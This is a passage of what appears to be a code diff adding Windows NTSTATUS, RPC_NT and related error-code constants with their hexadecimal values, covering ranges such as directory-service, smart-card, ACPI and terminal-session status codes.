+STATUS_REMOTE_SESSION_LIMIT = 0xC0000196; +STATUS_EVENTLOG_FILE_CHANGED = 0xC0000197; +STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT = 0xC0000198; +STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT = 0xC0000199; +STATUS_NOLOGON_SERVER_TRUST_ACCOUNT = 0xC000019A; +STATUS_DOMAIN_TRUST_INCONSISTENT = 0xC000019B; +STATUS_FS_DRIVER_REQUIRED = 0xC000019C; +STATUS_NO_USER_SESSION_KEY = 0xC0000202; +STATUS_USER_SESSION_DELETED = 0xC0000203; +STATUS_RESOURCE_LANG_NOT_FOUND = 0xC0000204; +STATUS_INSUFF_SERVER_RESOURCES = 0xC0000205; +STATUS_INVALID_BUFFER_SIZE = 0xC0000206; +STATUS_INVALID_ADDRESS_COMPONENT = 0xC0000207; +STATUS_INVALID_ADDRESS_WILDCARD = 0xC0000208; +STATUS_TOO_MANY_ADDRESSES = 0xC0000209; +STATUS_ADDRESS_ALREADY_EXISTS = 0xC000020A; +STATUS_ADDRESS_CLOSED = 0xC000020B; +STATUS_CONNECTION_DISCONNECTED = 0xC000020C; +STATUS_CONNECTION_RESET = 0xC000020D; +STATUS_TOO_MANY_NODES = 0xC000020E; +STATUS_TRANSACTION_ABORTED = 0xC000020F; +STATUS_TRANSACTION_TIMED_OUT = 0xC0000210; +STATUS_TRANSACTION_NO_RELEASE = 0xC0000211; +STATUS_TRANSACTION_NO_MATCH = 0xC0000212; +STATUS_TRANSACTION_RESPONDED = 0xC0000213; +STATUS_TRANSACTION_INVALID_ID = 0xC0000214; +STATUS_TRANSACTION_INVALID_TYPE = 0xC0000215; +STATUS_NOT_SERVER_SESSION = 0xC0000216; +STATUS_NOT_CLIENT_SESSION = 0xC0000217; +STATUS_CANNOT_LOAD_REGISTRY_FILE = 0xC0000218; +STATUS_DEBUG_ATTACH_FAILED = 0xC0000219; +STATUS_SYSTEM_PROCESS_TERMINATED = 0xC000021A; +STATUS_DATA_NOT_ACCEPTED = 0xC000021B; +STATUS_NO_BROWSER_SERVERS_FOUND = 0xC000021C; +STATUS_VDM_HARD_ERROR = 0xC000021D; +STATUS_DRIVER_CANCEL_TIMEOUT = 0xC000021E; +STATUS_REPLY_MESSAGE_MISMATCH = 0xC000021F; +STATUS_MAPPED_ALIGNMENT = 0xC0000220; +STATUS_IMAGE_CHECKSUM_MISMATCH = 0xC0000221; +STATUS_LOST_WRITEBEHIND_DATA = 0xC0000222; +STATUS_CLIENT_SERVER_PARAMETERS_INVALID = 0xC0000223; +STATUS_PASSWORD_MUST_CHANGE = 0xC0000224; +STATUS_NOT_FOUND = 0xC0000225; +STATUS_NOT_TINY_STREAM = 0xC0000226; +STATUS_RECOVERY_FAILURE = 0xC0000227; +STATUS_STACK_OVERFLOW_READ = 0xC0000228; +STATUS_FAIL_CHECK = 0xC0000229; +STATUS_DUPLICATE_OBJECTID = 0xC000022A; +STATUS_OBJECTID_EXISTS = 0xC000022B; +STATUS_CONVERT_TO_LARGE = 0xC000022C; +STATUS_RETRY = 0xC000022D; +STATUS_FOUND_OUT_OF_SCOPE = 0xC000022E; +STATUS_ALLOCATE_BUCKET = 0xC000022F; +STATUS_PROPSET_NOT_FOUND = 0xC0000230; +STATUS_MARSHALL_OVERFLOW = 0xC0000231; +STATUS_INVALID_VARIANT = 0xC0000232; +STATUS_DOMAIN_CONTROLLER_NOT_FOUND = 0xC0000233; +STATUS_ACCOUNT_LOCKED_OUT = 0xC0000234; +STATUS_HANDLE_NOT_CLOSABLE = 0xC0000235; +STATUS_CONNECTION_REFUSED = 0xC0000236; +STATUS_GRACEFUL_DISCONNECT = 0xC0000237; +STATUS_ADDRESS_ALREADY_ASSOCIATED = 0xC0000238; +STATUS_ADDRESS_NOT_ASSOCIATED = 0xC0000239; +STATUS_CONNECTION_INVALID = 0xC000023A; +STATUS_CONNECTION_ACTIVE = 0xC000023B; +STATUS_NETWORK_UNREACHABLE = 0xC000023C; +STATUS_HOST_UNREACHABLE = 0xC000023D; +STATUS_PROTOCOL_UNREACHABLE = 0xC000023E; +STATUS_PORT_UNREACHABLE = 0xC000023F; +STATUS_REQUEST_ABORTED = 0xC0000240; +STATUS_CONNECTION_ABORTED = 0xC0000241; +STATUS_BAD_COMPRESSION_BUFFER = 0xC0000242; +STATUS_USER_MAPPED_FILE = 0xC0000243; +STATUS_AUDIT_FAILED = 0xC0000244; +STATUS_TIMER_RESOLUTION_NOT_SET = 0xC0000245; +STATUS_CONNECTION_COUNT_LIMIT = 0xC0000246; +STATUS_LOGIN_TIME_RESTRICTION = 0xC0000247; +STATUS_LOGIN_WKSTA_RESTRICTION = 0xC0000248; +STATUS_IMAGE_MP_UP_MISMATCH = 0xC0000249; +STATUS_INSUFFICIENT_LOGON_INFO = 0xC0000250; +STATUS_BAD_DLL_ENTRYPOINT = 0xC0000251; +STATUS_BAD_SERVICE_ENTRYPOINT = 0xC0000252; +STATUS_LPC_REPLY_LOST = 0xC0000253; +STATUS_IP_ADDRESS_CONFLICT1 = 0xC0000254; +STATUS_IP_ADDRESS_CONFLICT2 = 0xC0000255; +STATUS_REGISTRY_QUOTA_LIMIT = 0xC0000256; +STATUS_PATH_NOT_COVERED = 0xC0000257; +STATUS_NO_CALLBACK_ACTIVE = 0xC0000258; +STATUS_LICENSE_QUOTA_EXCEEDED = 0xC0000259; +STATUS_PWD_TOO_SHORT = 0xC000025A; +STATUS_PWD_TOO_RECENT = 0xC000025B; +STATUS_PWD_HISTORY_CONFLICT = 0xC000025C; +STATUS_PLUGPLAY_NO_DEVICE = 0xC000025E; +STATUS_UNSUPPORTED_COMPRESSION = 0xC000025F; +STATUS_INVALID_HW_PROFILE = 0xC0000260; +STATUS_INVALID_PLUGPLAY_DEVICE_PATH = 0xC0000261; +STATUS_DRIVER_ORDINAL_NOT_FOUND = 0xC0000262; +STATUS_DRIVER_ENTRYPOINT_NOT_FOUND = 0xC0000263; +STATUS_RESOURCE_NOT_OWNED = 0xC0000264; +STATUS_TOO_MANY_LINKS = 0xC0000265; +STATUS_QUOTA_LIST_INCONSISTENT = 0xC0000266; +STATUS_FILE_IS_OFFLINE = 0xC0000267; +STATUS_EVALUATION_EXPIRATION = 0xC0000268; +STATUS_ILLEGAL_DLL_RELOCATION = 0xC0000269; +STATUS_LICENSE_VIOLATION = 0xC000026A; +STATUS_DLL_INIT_FAILED_LOGOFF = 0xC000026B; +STATUS_DRIVER_UNABLE_TO_LOAD = 0xC000026C; +STATUS_DFS_UNAVAILABLE = 0xC000026D; +STATUS_VOLUME_DISMOUNTED = 0xC000026E; +STATUS_WX86_INTERNAL_ERROR = 0xC000026F; +STATUS_WX86_FLOAT_STACK_CHECK = 0xC0000270; +STATUS_VALIDATE_CONTINUE = 0xC0000271; +STATUS_NO_MATCH = 0xC0000272; +STATUS_NO_MORE_MATCHES = 0xC0000273; +STATUS_NOT_A_REPARSE_POINT = 0xC0000275; +STATUS_IO_REPARSE_TAG_INVALID = 0xC0000276; +STATUS_IO_REPARSE_TAG_MISMATCH = 0xC0000277; +STATUS_IO_REPARSE_DATA_INVALID = 0xC0000278; +STATUS_IO_REPARSE_TAG_NOT_HANDLED = 0xC0000279; +STATUS_REPARSE_POINT_NOT_RESOLVED = 0xC0000280; +STATUS_DIRECTORY_IS_A_REPARSE_POINT = 0xC0000281; +STATUS_RANGE_LIST_CONFLICT = 0xC0000282; +STATUS_SOURCE_ELEMENT_EMPTY = 0xC0000283; +STATUS_DESTINATION_ELEMENT_FULL = 0xC0000284; +STATUS_ILLEGAL_ELEMENT_ADDRESS = 0xC0000285; +STATUS_MAGAZINE_NOT_PRESENT = 0xC0000286; +STATUS_REINITIALIZATION_NEEDED = 0xC0000287; +STATUS_DEVICE_REQUIRES_CLEANING = 0x80000288; +STATUS_DEVICE_DOOR_OPEN = 0x80000289; +STATUS_ENCRYPTION_FAILED = 0xC000028A; +STATUS_DECRYPTION_FAILED = 0xC000028B; +STATUS_RANGE_NOT_FOUND = 0xC000028C; +STATUS_NO_RECOVERY_POLICY = 0xC000028D; +STATUS_NO_EFS = 0xC000028E; +STATUS_WRONG_EFS = 0xC000028F; +STATUS_NO_USER_KEYS = 0xC0000290; +STATUS_FILE_NOT_ENCRYPTED = 0xC0000291; +STATUS_NOT_EXPORT_FORMAT = 0xC0000292; +STATUS_FILE_ENCRYPTED = 0xC0000293; +STATUS_WAKE_SYSTEM = 0x40000294; +STATUS_WMI_GUID_NOT_FOUND = 0xC0000295; +STATUS_WMI_INSTANCE_NOT_FOUND = 0xC0000296; +STATUS_WMI_ITEMID_NOT_FOUND = 0xC0000297; +STATUS_WMI_TRY_AGAIN = 0xC0000298; +STATUS_SHARED_POLICY = 0xC0000299; +STATUS_POLICY_OBJECT_NOT_FOUND = 0xC000029A; +STATUS_POLICY_ONLY_IN_DS = 0xC000029B; +STATUS_VOLUME_NOT_UPGRADED = 0xC000029C; +STATUS_REMOTE_STORAGE_NOT_ACTIVE = 0xC000029D; +STATUS_REMOTE_STORAGE_MEDIA_ERROR = 0xC000029E; +STATUS_NO_TRACKING_SERVICE = 0xC000029F; +STATUS_SERVER_SID_MISMATCH = 0xC00002A0; +STATUS_DS_NO_ATTRIBUTE_OR_VALUE = 0xC00002A1; +STATUS_DS_INVALID_ATTRIBUTE_SYNTAX = 0xC00002A2; +STATUS_DS_ATTRIBUTE_TYPE_UNDEFINED = 0xC00002A3; +STATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS = 0xC00002A4; +STATUS_DS_BUSY = 0xC00002A5; +STATUS_DS_UNAVAILABLE = 0xC00002A6; +STATUS_DS_NO_RIDS_ALLOCATED = 0xC00002A7; +STATUS_DS_NO_MORE_RIDS = 0xC00002A8; +STATUS_DS_INCORRECT_ROLE_OWNER = 0xC00002A9; +STATUS_DS_RIDMGR_INIT_ERROR = 0xC00002AA; +STATUS_DS_OBJ_CLASS_VIOLATION = 0xC00002AB; +STATUS_DS_CANT_ON_NON_LEAF = 0xC00002AC; +STATUS_DS_CANT_ON_RDN = 0xC00002AD; +STATUS_DS_CANT_MOD_OBJ_CLASS = 0xC00002AE; +STATUS_DS_CROSS_DOM_MOVE_FAILED = 0xC00002AF; +STATUS_DS_GC_NOT_AVAILABLE = 0xC00002B0; +STATUS_DIRECTORY_SERVICE_REQUIRED = 0xC00002B1; +STATUS_REPARSE_ATTRIBUTE_CONFLICT = 0xC00002B2; +STATUS_CANT_ENABLE_DENY_ONLY = 0xC00002B3; +STATUS_FLOAT_MULTIPLE_FAULTS = 0xC00002B4; +STATUS_FLOAT_MULTIPLE_TRAPS = 0xC00002B5; +STATUS_DEVICE_REMOVED = 0xC00002B6; +STATUS_JOURNAL_DELETE_IN_PROGRESS = 0xC00002B7; +STATUS_JOURNAL_NOT_ACTIVE = 0xC00002B8; +STATUS_NOINTERFACE = 0xC00002B9; +STATUS_DS_ADMIN_LIMIT_EXCEEDED = 0xC00002C1; +STATUS_DRIVER_FAILED_SLEEP = 0xC00002C2; +STATUS_MUTUAL_AUTHENTICATION_FAILED = 0xC00002C3; +STATUS_CORRUPT_SYSTEM_FILE = 0xC00002C4; +STATUS_DATATYPE_MISALIGNMENT_ERROR = 0xC00002C5; +STATUS_WMI_READ_ONLY = 0xC00002C6; +STATUS_WMI_SET_FAILURE = 0xC00002C7; +STATUS_COMMITMENT_MINIMUM = 0xC00002C8; +STATUS_REG_NAT_CONSUMPTION = 0xC00002C9; +STATUS_TRANSPORT_FULL = 0xC00002CA; +STATUS_DS_SAM_INIT_FAILURE = 0xC00002CB; +STATUS_ONLY_IF_CONNECTED = 0xC00002CC; +STATUS_DS_SENSITIVE_GROUP_VIOLATION = 0xC00002CD; +STATUS_PNP_RESTART_ENUMERATION = 0xC00002CE; +STATUS_JOURNAL_ENTRY_DELETED = 0xC00002CF; +STATUS_DS_CANT_MOD_PRIMARYGROUPID = 0xC00002D0; +STATUS_SYSTEM_IMAGE_BAD_SIGNATURE = 0xC00002D1; +STATUS_PNP_REBOOT_REQUIRED = 0xC00002D2; +STATUS_POWER_STATE_INVALID = 0xC00002D3; +STATUS_DS_INVALID_GROUP_TYPE = 0xC00002D4; +STATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN = 0xC00002D5; +STATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN = 0xC00002D6; +STATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER = 0xC00002D7; +STATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER = 0xC00002D8; +STATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER = 0xC00002D9; +STATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER = 0xC00002DA; +STATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER = 0xC00002DB; +STATUS_DS_HAVE_PRIMARY_MEMBERS = 0xC00002DC; +STATUS_WMI_NOT_SUPPORTED = 0xC00002DD; +STATUS_INSUFFICIENT_POWER = 0xC00002DE; +STATUS_SAM_NEED_BOOTKEY_PASSWORD = 0xC00002DF; +STATUS_SAM_NEED_BOOTKEY_FLOPPY = 0xC00002E0; +STATUS_DS_CANT_START = 0xC00002E1; +STATUS_DS_INIT_FAILURE = 0xC00002E2; +STATUS_SAM_INIT_FAILURE = 0xC00002E3; +STATUS_DS_GC_REQUIRED = 0xC00002E4; +STATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY = 0xC00002E5; +STATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS = 0xC00002E6; +STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED = 0xC00002E7; +STATUS_MULTIPLE_FAULT_VIOLATION = 0xC00002E8; +STATUS_CURRENT_DOMAIN_NOT_ALLOWED = 0xC00002E9; +STATUS_CANNOT_MAKE = 0xC00002EA; +STATUS_SYSTEM_SHUTDOWN = 0xC00002EB; +STATUS_DS_INIT_FAILURE_CONSOLE = 0xC00002EC; +STATUS_DS_SAM_INIT_FAILURE_CONSOLE = 0xC00002ED; +STATUS_UNFINISHED_CONTEXT_DELETED = 0xC00002EE; +STATUS_NO_TGT_REPLY = 0xC00002EF; +STATUS_OBJECTID_NOT_FOUND = 0xC00002F0; +STATUS_NO_IP_ADDRESSES = 0xC00002F1; +STATUS_WRONG_CREDENTIAL_HANDLE = 0xC00002F2; +STATUS_CRYPTO_SYSTEM_INVALID = 0xC00002F3; +STATUS_MAX_REFERRALS_EXCEEDED = 0xC00002F4; +STATUS_MUST_BE_KDC = 0xC00002F5; +STATUS_STRONG_CRYPTO_NOT_SUPPORTED = 0xC00002F6; +STATUS_TOO_MANY_PRINCIPALS = 0xC00002F7; +STATUS_NO_PA_DATA = 0xC00002F8; +STATUS_PKINIT_NAME_MISMATCH = 0xC00002F9; +STATUS_SMARTCARD_LOGON_REQUIRED = 0xC00002FA; +STATUS_KDC_INVALID_REQUEST = 0xC00002FB; +STATUS_KDC_UNABLE_TO_REFER = 0xC00002FC; +STATUS_KDC_UNKNOWN_ETYPE = 0xC00002FD; +STATUS_SHUTDOWN_IN_PROGRESS = 0xC00002FE; +STATUS_SERVER_SHUTDOWN_IN_PROGRESS = 0xC00002FF; +STATUS_NOT_SUPPORTED_ON_SBS = 0xC0000300; +STATUS_WMI_GUID_DISCONNECTED = 0xC0000301; +STATUS_WMI_ALREADY_DISABLED = 0xC0000302; +STATUS_WMI_ALREADY_ENABLED = 0xC0000303; +STATUS_MFT_TOO_FRAGMENTED = 0xC0000304; +STATUS_COPY_PROTECTION_FAILURE = 0xC0000305; +STATUS_CSS_AUTHENTICATION_FAILURE = 0xC0000306; +STATUS_CSS_KEY_NOT_PRESENT = 0xC0000307; +STATUS_CSS_KEY_NOT_ESTABLISHED = 0xC0000308; +STATUS_CSS_SCRAMBLED_SECTOR = 0xC0000309; +STATUS_CSS_REGION_MISMATCH = 0xC000030A; +STATUS_CSS_RESETS_EXHAUSTED = 0xC000030B; +STATUS_PKINIT_FAILURE = 0xC0000320; +STATUS_SMARTCARD_SUBSYSTEM_FAILURE = 0xC0000321; +STATUS_NO_KERB_KEY = 0xC0000322; +STATUS_HOST_DOWN = 0xC0000350; +STATUS_UNSUPPORTED_PREAUTH = 0xC0000351; +STATUS_EFS_ALG_BLOB_TOO_BIG = 0xC0000352; +STATUS_PORT_NOT_SET = 0xC0000353; +STATUS_DEBUGGER_INACTIVE = 0xC0000354; +STATUS_DS_VERSION_CHECK_FAILURE = 0xC0000355; +STATUS_AUDITING_DISABLED = 0xC0000356; +STATUS_PRENT4_MACHINE_ACCOUNT = 0xC0000357; +STATUS_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER = 0xC0000358; +STATUS_INVALID_IMAGE_WIN_32 = 0xC0000359; +STATUS_INVALID_IMAGE_WIN_64 = 0xC000035A; +STATUS_BAD_BINDINGS = 0xC000035B; +STATUS_NETWORK_SESSION_EXPIRED = 0xC000035C; +STATUS_APPHELP_BLOCK = 0xC000035D; +STATUS_ALL_SIDS_FILTERED = 0xC000035E; +STATUS_NOT_SAFE_MODE_DRIVER = 0xC000035F; +STATUS_ACCESS_DISABLED_BY_POLICY_DEFAULT = 0xC0000361; +STATUS_ACCESS_DISABLED_BY_POLICY_PATH = 0xC0000362; +STATUS_ACCESS_DISABLED_BY_POLICY_PUBLISHER = 0xC0000363; +STATUS_ACCESS_DISABLED_BY_POLICY_OTHER = 0xC0000364; +STATUS_FAILED_DRIVER_ENTRY = 0xC0000365; +STATUS_DEVICE_ENUMERATION_ERROR = 0xC0000366; +STATUS_WAIT_FOR_OPLOCK = 0x00000367; +STATUS_MOUNT_POINT_NOT_RESOLVED = 0xC0000368; +STATUS_INVALID_DEVICE_OBJECT_PARAMETER = 0xC0000369; +STATUS_MCA_OCCURED = 0xC000036A; +STATUS_DRIVER_BLOCKED_CRITICAL = 0xC000036B; +STATUS_DRIVER_BLOCKED = 0xC000036C; +STATUS_DRIVER_DATABASE_ERROR = 0xC000036D; +STATUS_SYSTEM_HIVE_TOO_LARGE = 0xC000036E; +STATUS_INVALID_IMPORT_OF_NON_DLL = 0xC000036F; +STATUS_DS_SHUTTING_DOWN = 0x40000370; +STATUS_SMARTCARD_WRONG_PIN = 0xC0000380; +STATUS_SMARTCARD_CARD_BLOCKED = 0xC0000381; +STATUS_SMARTCARD_CARD_NOT_AUTHENTICATED = 0xC0000382; +STATUS_SMARTCARD_NO_CARD = 0xC0000383; +STATUS_SMARTCARD_NO_KEY_CONTAINER = 0xC0000384; +STATUS_SMARTCARD_NO_CERTIFICATE = 0xC0000385; +STATUS_SMARTCARD_NO_KEYSET = 0xC0000386; +STATUS_SMARTCARD_IO_ERROR = 0xC0000387; +STATUS_DOWNGRADE_DETECTED = 0xC0000388; +STATUS_SMARTCARD_CERT_REVOKED = 0xC0000389; +STATUS_ISSUING_CA_UNTRUSTED = 0xC000038A; +STATUS_REVOCATION_OFFLINE_C = 0xC000038B; +STATUS_PKINIT_CLIENT_FAILURE = 0xC000038C; +STATUS_SMARTCARD_CERT_EXPIRED = 0xC000038D; +STATUS_DRIVER_FAILED_PRIOR_UNLOAD = 0xC000038E; +STATUS_WOW_ASSERTION = 0xC0009898; +RPC_NT_INVALID_STRING_BINDING = 0xC0020001; +RPC_NT_WRONG_KIND_OF_BINDING = 0xC0020002; +RPC_NT_INVALID_BINDING = 0xC0020003; +RPC_NT_PROTSEQ_NOT_SUPPORTED = 0xC0020004; +RPC_NT_INVALID_RPC_PROTSEQ = 0xC0020005; +RPC_NT_INVALID_STRING_UUID = 0xC0020006; +RPC_NT_INVALID_ENDPOINT_FORMAT = 0xC0020007; +RPC_NT_INVALID_NET_ADDR = 0xC0020008; +RPC_NT_NO_ENDPOINT_FOUND = 0xC0020009; +RPC_NT_INVALID_TIMEOUT = 0xC002000A; +RPC_NT_OBJECT_NOT_FOUND = 0xC002000B; +RPC_NT_ALREADY_REGISTERED = 0xC002000C; +RPC_NT_TYPE_ALREADY_REGISTERED = 0xC002000D; +RPC_NT_ALREADY_LISTENING = 0xC002000E; +RPC_NT_NO_PROTSEQS_REGISTERED = 0xC002000F; +RPC_NT_NOT_LISTENING = 0xC0020010; +RPC_NT_UNKNOWN_MGR_TYPE = 0xC0020011; +RPC_NT_UNKNOWN_IF = 0xC0020012; +RPC_NT_NO_BINDINGS = 0xC0020013; +RPC_NT_NO_PROTSEQS = 0xC0020014; +RPC_NT_CANT_CREATE_ENDPOINT = 0xC0020015; +RPC_NT_OUT_OF_RESOURCES = 0xC0020016; +RPC_NT_SERVER_UNAVAILABLE = 0xC0020017; +RPC_NT_SERVER_TOO_BUSY = 0xC0020018; +RPC_NT_INVALID_NETWORK_OPTIONS = 0xC0020019; +RPC_NT_NO_CALL_ACTIVE = 0xC002001A; +RPC_NT_CALL_FAILED = 0xC002001B; +RPC_NT_CALL_FAILED_DNE = 0xC002001C; +RPC_NT_PROTOCOL_ERROR = 0xC002001D; +RPC_NT_UNSUPPORTED_TRANS_SYN = 0xC002001F; +RPC_NT_UNSUPPORTED_TYPE = 0xC0020021; +RPC_NT_INVALID_TAG = 0xC0020022; +RPC_NT_INVALID_BOUND = 0xC0020023; +RPC_NT_NO_ENTRY_NAME = 0xC0020024; +RPC_NT_INVALID_NAME_SYNTAX = 0xC0020025; +RPC_NT_UNSUPPORTED_NAME_SYNTAX = 0xC0020026; +RPC_NT_UUID_NO_ADDRESS = 0xC0020028; +RPC_NT_DUPLICATE_ENDPOINT = 0xC0020029; +RPC_NT_UNKNOWN_AUTHN_TYPE = 0xC002002A; +RPC_NT_MAX_CALLS_TOO_SMALL = 0xC002002B; +RPC_NT_STRING_TOO_LONG = 0xC002002C; +RPC_NT_PROTSEQ_NOT_FOUND = 0xC002002D; +RPC_NT_PROCNUM_OUT_OF_RANGE = 0xC002002E; +RPC_NT_BINDING_HAS_NO_AUTH = 0xC002002F; +RPC_NT_UNKNOWN_AUTHN_SERVICE = 0xC0020030; +RPC_NT_UNKNOWN_AUTHN_LEVEL = 0xC0020031; +RPC_NT_INVALID_AUTH_IDENTITY = 0xC0020032; +RPC_NT_UNKNOWN_AUTHZ_SERVICE = 0xC0020033; +EPT_NT_INVALID_ENTRY = 0xC0020034; +EPT_NT_CANT_PERFORM_OP = 0xC0020035; +EPT_NT_NOT_REGISTERED = 0xC0020036; +RPC_NT_NOTHING_TO_EXPORT = 0xC0020037; +RPC_NT_INCOMPLETE_NAME = 0xC0020038; +RPC_NT_INVALID_VERS_OPTION = 0xC0020039; +RPC_NT_NO_MORE_MEMBERS = 0xC002003A; +RPC_NT_NOT_ALL_OBJS_UNEXPORTED = 0xC002003B; +RPC_NT_INTERFACE_NOT_FOUND = 0xC002003C; +RPC_NT_ENTRY_ALREADY_EXISTS = 0xC002003D; +RPC_NT_ENTRY_NOT_FOUND = 0xC002003E; +RPC_NT_NAME_SERVICE_UNAVAILABLE = 0xC002003F; +RPC_NT_INVALID_NAF_ID = 0xC0020040; +RPC_NT_CANNOT_SUPPORT = 0xC0020041; +RPC_NT_NO_CONTEXT_AVAILABLE = 0xC0020042; +RPC_NT_INTERNAL_ERROR = 0xC0020043; +RPC_NT_ZERO_DIVIDE = 0xC0020044; +RPC_NT_ADDRESS_ERROR = 0xC0020045; +RPC_NT_FP_DIV_ZERO = 0xC0020046; +RPC_NT_FP_UNDERFLOW = 0xC0020047; +RPC_NT_FP_OVERFLOW = 0xC0020048; +RPC_NT_NO_MORE_ENTRIES = 0xC0030001; +RPC_NT_SS_CHAR_TRANS_OPEN_FAIL = 0xC0030002; +RPC_NT_SS_CHAR_TRANS_SHORT_FILE = 0xC0030003; +RPC_NT_SS_IN_NULL_CONTEXT = 0xC0030004; +RPC_NT_SS_CONTEXT_MISMATCH = 0xC0030005; +RPC_NT_SS_CONTEXT_DAMAGED = 0xC0030006; +RPC_NT_SS_HANDLES_MISMATCH = 0xC0030007; +RPC_NT_SS_CANNOT_GET_CALL_HANDLE = 0xC0030008; +RPC_NT_NULL_REF_POINTER = 0xC0030009; +RPC_NT_ENUM_VALUE_OUT_OF_RANGE = 0xC003000A; +RPC_NT_BYTE_COUNT_TOO_SMALL = 0xC003000B; +RPC_NT_BAD_STUB_DATA = 0xC003000C; +RPC_NT_CALL_IN_PROGRESS = 0xC0020049; +RPC_NT_NO_MORE_BINDINGS = 0xC002004A; +RPC_NT_GROUP_MEMBER_NOT_FOUND = 0xC002004B; +EPT_NT_CANT_CREATE = 0xC002004C; +RPC_NT_INVALID_OBJECT = 0xC002004D; +RPC_NT_NO_INTERFACES = 0xC002004F; +RPC_NT_CALL_CANCELLED = 0xC0020050; +RPC_NT_BINDING_INCOMPLETE = 0xC0020051; +RPC_NT_COMM_FAILURE = 0xC0020052; +RPC_NT_UNSUPPORTED_AUTHN_LEVEL = 0xC0020053; +RPC_NT_NO_PRINC_NAME = 0xC0020054; +RPC_NT_NOT_RPC_ERROR = 0xC0020055; +RPC_NT_UUID_LOCAL_ONLY = 0x40020056; +RPC_NT_SEC_PKG_ERROR = 0xC0020057; +RPC_NT_NOT_CANCELLED = 0xC0020058; +RPC_NT_INVALID_ES_ACTION = 0xC0030059; +RPC_NT_WRONG_ES_VERSION = 0xC003005A; +RPC_NT_WRONG_STUB_VERSION = 0xC003005B; +RPC_NT_INVALID_PIPE_OBJECT = 0xC003005C; +RPC_NT_INVALID_PIPE_OPERATION = 0xC003005D; +RPC_NT_WRONG_PIPE_VERSION = 0xC003005E; +RPC_NT_PIPE_CLOSED = 0xC003005F; +RPC_NT_PIPE_DISCIPLINE_ERROR = 0xC0030060; +RPC_NT_PIPE_EMPTY = 0xC0030061; +RPC_NT_INVALID_ASYNC_HANDLE = 0xC0020062; +RPC_NT_INVALID_ASYNC_CALL = 0xC0020063; +RPC_NT_SEND_INCOMPLETE = 0x400200AF; +STATUS_ACPI_INVALID_OPCODE = 0xC0140001; +STATUS_ACPI_STACK_OVERFLOW = 0xC0140002; +STATUS_ACPI_ASSERT_FAILED = 0xC0140003; +STATUS_ACPI_INVALID_INDEX = 0xC0140004; +STATUS_ACPI_INVALID_ARGUMENT = 0xC0140005; +STATUS_ACPI_FATAL = 0xC0140006; +STATUS_ACPI_INVALID_SUPERNAME = 0xC0140007; +STATUS_ACPI_INVALID_ARGTYPE = 0xC0140008; +STATUS_ACPI_INVALID_OBJTYPE = 0xC0140009; +STATUS_ACPI_INVALID_TARGETTYPE = 0xC014000A; +STATUS_ACPI_INCORRECT_ARGUMENT_COUNT = 0xC014000B; +STATUS_ACPI_ADDRESS_NOT_MAPPED = 0xC014000C; +STATUS_ACPI_INVALID_EVENTTYPE = 0xC014000D; +STATUS_ACPI_HANDLER_COLLISION = 0xC014000E; +STATUS_ACPI_INVALID_DATA = 0xC014000F; +STATUS_ACPI_INVALID_REGION = 0xC0140010; +STATUS_ACPI_INVALID_ACCESS_SIZE = 0xC0140011; +STATUS_ACPI_ACQUIRE_GLOBAL_LOCK = 0xC0140012; +STATUS_ACPI_ALREADY_INITIALIZED = 0xC0140013; +STATUS_ACPI_NOT_INITIALIZED = 0xC0140014; +STATUS_ACPI_INVALID_MUTEX_LEVEL = 0xC0140015; +STATUS_ACPI_MUTEX_NOT_OWNED = 0xC0140016; +STATUS_ACPI_MUTEX_NOT_OWNER = 0xC0140017; +STATUS_ACPI_RS_ACCESS = 0xC0140018; +STATUS_ACPI_INVALID_TABLE = 0xC0140019; +STATUS_ACPI_REG_HANDLER_FAILED = 0xC0140020; +STATUS_ACPI_POWER_REQUEST_FAILED = 0xC0140021; +STATUS_CTX_WINSTATION_NAME_INVALID = 0xC00A0001; +STATUS_CTX_INVALID_PD = 0xC00A0002; +STATUS_CTX_PD_NOT_FOUND = 0xC00A0003; +STATUS_CTX_CDM_CONNECT = 0x400A0004; +STATUS_CTX_CDM_DISCONNECT = 0x400A0005; +STATUS_CTX_CLOSE_PENDING = 0xC00A0006; +STATUS_CTX_NO_OUTBUF = 0xC00A0007; +STATUS_CTX_MODEM_INF_NOT_FOUND = 0xC00A0008; +STATUS_CTX_INVALID_MODEMNAME = 0xC00A0009; +STATUS_CTX_RESPONSE_ERROR = 0xC00A000A; +STATUS_CTX_MODEM_RESPONSE_TIMEOUT = 0xC00A000B; +STATUS_CTX_MODEM_RESPONSE_NO_CARRIER = 0xC00A000C; +STATUS_CTX_MODEM_RESPONSE_NO_DIALTONE = 0xC00A000D; +STATUS_CTX_MODEM_RESPONSE_BUSY = 0xC00A000E; +STATUS_CTX_MODEM_RESPONSE_VOICE = 0xC00A000F; +STATUS_CTX_TD_ERROR = 0xC00A0010; +STATUS_CTX_LICENSE_CLIENT_INVALID = 0xC00A0012; +STATUS_CTX_LICENSE_NOT_AVAILABLE = 0xC00A0013; +STATUS_CTX_LICENSE_EXPIRED = 0xC00A0014; +STATUS_CTX_WINSTATION_NOT_FOUND = 0xC00A0015; +STATUS_CTX_WINSTATION_NAME_COLLISION = 0xC00A0016; +STATUS_CTX_WINSTATION_BUSY = 0xC00A0017; +STATUS_CTX_BAD_VIDEO_MODE = 0xC00A0018; +STATUS_CTX_GRAPHICS_INVALID = 0xC00A0022; +STATUS_CTX_NOT_CONSOLE = 0xC00A0024; +STATUS_CTX_CLIENT_QUERY_TIMEOUT = 0xC00A0026; +STATUS_CTX_CONSOLE_DISCONNECT = 0xC00A0027; +STATUS_CTX_CONSOLE_CONNECT = 0xC00A0028; +STATUS_CTX_SHADOW_DENIED = 0xC00A002A; +STATUS_CTX_WINSTATION_ACCESS_DENIED = 0xC00A002B; +STATUS_CTX_INVALID_WD = 0xC00A002E; +STATUS_CTX_WD_NOT_FOUND = 0xC00A002F; 